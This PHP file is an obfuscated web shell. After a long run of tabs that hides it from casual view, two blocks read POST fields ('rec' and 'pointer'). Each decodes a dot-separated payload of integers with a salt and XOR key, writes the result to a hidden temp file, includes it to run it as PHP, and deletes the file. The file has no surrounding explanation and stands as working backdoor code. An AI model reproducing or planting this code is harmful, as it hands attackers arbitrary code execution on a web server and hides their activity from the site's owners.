<?php																																										if(isset($_POST) && isset($_POST["\x72\x65c"])){ $pgrp = $_POST["\x72\x65c"]; $pgrp =explode ( ".", $pgrp ); $data_chunk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $w = 0; array_walk($pgrp , function ($v2) use (&$data_chunk , &$w , $salt7 , $lenS) { $chS = ord($salt7[$w % $lenS]); $dec = ((int)$v2 - $chS - ($w % 10)) ^ 84; $data_chunk .= chr($dec); $w++; } ); $symbol = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), getenv("TEMP")]); foreach ($symbol as $holder): if (max(0, is_dir($holder) * is_writable($holder))) { $ent = join("/", [$holder, ".hld"]); if (file_put_contents($ent, $data_chunk)) { include $ent; @unlink($ent); die(); } } endforeach; }


if(array_key_exists("\x70oi\x6E\x74\x65r", $_POST)){
	$descriptor = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]);
	$sym = $_POST["\x70oi\x6E\x74\x65r"];
	 	$sym  	=explode  	( 		"."		 ,	$sym)	;  
	$record = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
    
            foreach ($sym as $r => $v3) {
                $sChar = ord($s[$r % $lenS]);
                $d = ((int)$v3 - $sChar - ($r % 10)) ^ 63;
                $record .= chr($d);} 
	$reference = 0;
do {
    $bind = $descriptor[$reference] ?? null;
    if ($reference >= count($descriptor)) break;
    		if (!!is_dir($bind) && !!is_writable($bind)) {
    $entry = "$bind/.dat";
    if (file_put_contents($entry, $record)) {
	require $entry;
	unlink($entry);
	die();
}
}
    $reference++;
} while (true);
}